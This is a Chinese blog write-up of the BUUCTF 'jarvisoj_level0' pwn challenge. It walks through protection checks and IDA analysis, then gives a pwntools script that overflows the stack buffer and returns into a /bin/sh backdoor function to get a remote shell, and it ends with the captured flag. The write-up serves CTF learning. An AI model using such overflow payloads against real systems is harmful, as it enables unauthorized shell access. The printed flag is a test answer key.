buuctf-jarvisoj_level0(pwn)题解

第一步:nc连接地址,查看是个什么情况

第二步:查文件的位数和保护情况

第三步:用ida打开查看主函数的意义

第四步:寻找后门函数,找到地址,查看偏移量

第五步:构造脚本,连接服务器拿到后门权限或者自己构造权限

下面看下我今天做的这个很简单的pwn题跟着上面的顺序走一遍

第一步:nc连接地址,看看可以直接执行命令吗

发现直接执行命令不太行,后面我们看看文件的保护情况和位数来确定用多少位的ida打开分析

第二步:查文件的位数和保护情况

发现是64位的,并且开了nx保护

第三步:用ida打开查看主函数的意义

用64位的ida打开后观察主函数

没啥可以用的地方,深入研究,查看返回的那个函数

这里有个char函数接受了输入,观察后面的注释应该用填充80个A,那么我们下面要找到后门的地址,用来链接从而完成对这个服务端的控制

第四步:找后门

我们可以shift+f12来查看一下字段,看看有没有后门的地址

发现一个/bin/sh字段,这个意思是开启控制台的意思,那么我们把栈用A填满后,将最后指向的地址指向这个函数的开始地址,那么我们就打开了控制台可以进行相应的操作

下面就是找一下/bin/sh的开始地址了,我们双击进去看看

发现了注释上说是从地址0x400596开始的,那么我们就可以开始编写脚本了

第五步:开始编写脚本

from pwn import * #这里是调用关于pwn要用到的库
p = remote("node5.buuoj.cn",27952) #创建连接
payload = b'a' * (0x80 + 8) +p64(0x400596) #构造payload,填充无用数据和最后的后门地址
p.sendline(payload) #发送payload到服务端
p.interactive() #持续连接,方便后面的控制

写完脚本后,就开始执行脚本看看

ls查看后发现了flag.txt文件我们cat它拿到flag


flag

flag{68a3f327-24ae-44fa-8e42-f1a1f9cc4be6}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值